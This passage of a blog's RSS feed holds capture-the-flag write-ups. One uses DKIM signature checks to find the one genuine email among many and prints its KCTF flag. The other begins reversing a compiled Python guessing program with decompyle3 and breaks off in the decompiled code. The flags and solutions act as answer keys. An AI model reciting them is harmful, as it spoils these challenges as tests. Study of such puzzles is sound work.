&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D65D0E, #C34043);&quot;&gt; &amp;lt;div dir=&amp;quot;ltr&amp;quot;&amp;gt;Hi,&amp;lt;div&amp;gt;&amp;lt;br&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;die Flag ist KCTF{1d2fa1ed91a0310dad83242abc3f8a92}&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;br&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;LG&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;Martin&amp;lt;&#x2F;div&amp;gt;&amp;lt;&#x2F;div&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #76946A);&quot;&gt; &amp;lt;div dir=&amp;quot;ltr&amp;quot;&amp;gt;Hi,&amp;lt;div&amp;gt;&amp;lt;br&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;die Flag ist KCTF{a3afe0043bf7736216bc7ace6efac886}&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;br&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;LG&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;Martin&amp;lt;&#x2F;div&amp;gt;&amp;lt;&#x2F;div&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This confirms what the prompt told us, so we can’t identify the correct flag by any differences between the files. Instead we’ll have to utilize the signatures provided in the emails to verify a valid &lt;code&gt;.eml&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;solution&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution&quot; aria-label=&quot;Anchor link for: solution&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The first signature we see in the file is a &lt;code&gt;DKIM-Signature&lt;&#x2F;code&gt;. There is a useful &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;mailtrap.io&#x2F;blog&#x2F;dkim&#x2F;&quot;&gt;explainer&lt;&#x2F;a&gt; over on mailtrap[.]com, if you want to get into the nitty gritty, but the short of it is that DKIM is a common signature type that’s used to verify the sender and &lt;strong&gt;content&lt;&#x2F;strong&gt; of an email have not been altered. That should be perfect to find the original, unaltered email in our &lt;em&gt;ein pfund mails&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Luckily, there are several DKIM verification libraries available on &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;pypi.org&#x2F;search&#x2F;?q=dkim&quot;&gt;PyPI&lt;&#x2F;a&gt;. I chose &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;pypi.org&#x2F;project&#x2F;check-dkim&#x2F;&quot;&gt;check-dkim&lt;&#x2F;a&gt; since it was at the top of the list for my search. In the case of &lt;code&gt;check-dkim&lt;&#x2F;code&gt;, it’s actually a CLI script. So, after installing (&lt;code&gt;pip install check-dkim&lt;&#x2F;code&gt;), we can verify that it works for one of our &lt;code&gt;.eml&lt;&#x2F;code&gt; files.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ check-dkim mail&#x2F;fffc5.eml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Error verifying DKIM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;body hash mismatch (got b&amp;#39;SHy1AAdR&#x2F;+J5fTOT5HqeEr23p+JmXnlXWdr1QxcFqcU=&amp;#39;, expected b&amp;#39;Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now let’s write a simple bash script to verify every email file.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; dkim_verify.sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;find&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;iname&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C4746E);&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;.eml&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;exec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;FILE: {} --- &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #949FB5);&quot;&gt; \;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;exec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; check-dkim&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; {}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #949FB5);&quot;&gt; \;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Execute the script to start checking.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;.&#x2F;dkim_verify.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; .&#x2F;mail&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here is the output from our first few files.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FILE: mail&#x2F;c9f01.eml --- Error verifying DKIM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;body hash mismatch (got b&amp;#39;KSjh&#x2F;SWf9CoOfANlP1JwziULd7TJwo2jAXdS6WxxiXk=&amp;#39;, expected b&amp;#39;Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FILE: mail&#x2F;483c0.eml --- Error verifying DKIM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;body hash mismatch (got b&amp;#39;NPfXTjlgeHmYX3XL505Y9ZlDsWR&#x2F;nKofQRnlX2Eg+Vk=&amp;#39;, expected b&amp;#39;Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FILE: mail&#x2F;e1262.eml --- Error verifying DKIM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;body hash mismatch (got b&amp;#39;IwEUYGwkRHvyIUocHDTn1mq653UyllFukFAsC7&#x2F;bewY=&amp;#39;, expected b&amp;#39;Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FILE: mail&#x2F;a9331.eml --- Error verifying DKIM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;body hash mismatch (got b&amp;#39;2kwfDpgExCVsPaquMn2PMAqKf&#x2F;UEuOQneY6YpVutQ+U=&amp;#39;, expected b&amp;#39;Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FILE: mail&#x2F;c65c1.eml --- Error verifying DKIM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;body hash mismatch (got b&amp;#39;GGvQpfeY8Vzvfms3TWn1TsYW2Ws4CKhenm26CVZ7kCs=&amp;#39;, expected b&amp;#39;Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;After a few minutes we get a hit. Here is the output leading up to the valid &lt;code&gt;.eml&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FILE: mail&#x2F;3c586.eml --- Error verifying DKIM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;body hash mismatch (got b&amp;#39;DopvYFdcPVYCj2nGEr3Jdll+EK7xiVVk33K&#x2F;6xRJp90=&amp;#39;, expected b&amp;#39;Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FILE: mail&#x2F;06570.eml --- Error verifying DKIM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;body hash mismatch (got b&amp;#39;uJ&#x2F;mmb0346p2GMzAqGnz&#x2F;6hn5G0cL&#x2F;jiotY2dl2tBJk=&amp;#39;, expected b&amp;#39;Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;FILE: mail&#x2F;438b5.eml --- DKIM verified successfully&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we can check which flag is in &lt;code&gt;438b5.eml&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;grep -oP &amp;quot;(KCTF{.*})&amp;quot; mail&#x2F;438b5.eml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;KCTF{1f8e659e892f2b2a05a54b8448ccbff9}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;KCTF{1f8e659e892f2b2a05a54b8448ccbff9}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h1 id=&quot;flag&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#flag&quot; aria-label=&quot;Anchor link for: flag&quot;&gt;Flag&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;Here we have our flag! &lt;code&gt;KCTF{1f8e659e892f2b2a05a54b8448ccbff9}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</description>
      </item>
      <item>
          <title>Cryptoverse 2022 - Super Guesser</title>
          <pubDate>Wed, 26 Oct 2022 00:00:00 +0000</pubDate>
          <author>Cameron Blankenbuehler</author>
          <link>https://www.cblanken.dev/blog/superguesser/</link>
          <guid>https://www.cblanken.dev/blog/superguesser/</guid>
          <description xml:base="https://www.cblanken.dev/blog/superguesser/">&lt;h2 id=&quot;problem-description&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#problem-description&quot; aria-label=&quot;Anchor link for: problem-description&quot;&gt;Problem description&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Super Guesser is an &lt;em&gt;easy&lt;&#x2F;em&gt; rated reversing challenge for the Crytoverse 2022 CTF.
We are given a short challenge description:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Only the true guessing &lt;em&gt;king&lt;&#x2F;em&gt; can solve this challenge.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;analysis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#analysis&quot; aria-label=&quot;Anchor link for: analysis&quot;&gt;Analysis&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;We are provided a link to download &lt;code&gt;guesser.pyc&lt;&#x2F;code&gt;, a compiled python binary.
Just to confirm there aren’t any shenangins with the file extension, let’s check the file type.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ file guesser.pyc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;guesser.pyc: Byte-compiled Python module for CPython 3.8, timestamp-based, .py timestamp: Sun Sep 11 18:00:05 2022 UTC, .py size: 682 bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;file&lt;&#x2F;code&gt; utility tells us that we are, in fact, dealing with a compiled python binary. In this case CPython 3.8 is the version.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Note&lt;&#x2F;em&gt;: it’s important that we use the correct version of python when running the compiled &lt;code&gt;.pyc&lt;&#x2F;code&gt; file otherwise we might get a &lt;em&gt;magic number&lt;&#x2F;em&gt; error as shown below and be unable to execute the program.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ python guesser.pyc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;RuntimeError: Bad magic number in .pyc file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If your system has an incompatible version of Python, I’d recommend installing a tool like &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pyenv&#x2F;pyenv&quot;&gt;&lt;code&gt;pyenv&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; to install and manage other python versions side by side on your system.&lt;&#x2F;p&gt;
&lt;p&gt;Now let’s try running this program to see what we get as output.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ python guesser.pyc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Guess: test&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Invalid&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ python guesser.pyc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Guess: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Invalid&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Okay it look’s like the program is checking our input. Perhaps it is checking against the challenge’s flag.&lt;&#x2F;p&gt;
&lt;p&gt;Referring to the challenge title we know that this is a reversing challenge, so the next logical step is to try decompiling the python binary.
One popular python decompiler is &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;pypi.org&#x2F;project&#x2F;decompyle3&quot;&gt;decompyle3&lt;&#x2F;a&gt;, which we can see from the PyPI page supports python versions 3.7+ which should work fine for the bytecode we have.&lt;&#x2F;p&gt;
&lt;p&gt;We can decompile &lt;code&gt;guesser.pyc&lt;&#x2F;code&gt; with the command:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ decompyle3 guesser.pyc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This gets us the source code &lt;code&gt;guesser.py&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; decompyle3 version 3.9.0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; Python bytecode version base 3.8.0 (3413)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; Decompiled from: Python 3.8.0 (default, Oct 29 2022, 20:02:52)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; [GCC 12.2.0]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; Embedded file name: &#x2F;home&#x2F;guesser.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; Compiled at: 2022-09-11 14:00:05&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; Size of source mod 2**32: 682 bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #B6927B);&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; hashlib&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span&gt;hashes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;d.0.....f5...5.6.7.1.30.6c.d9..0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;1b.8.1.c........09.30.....64aa9.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
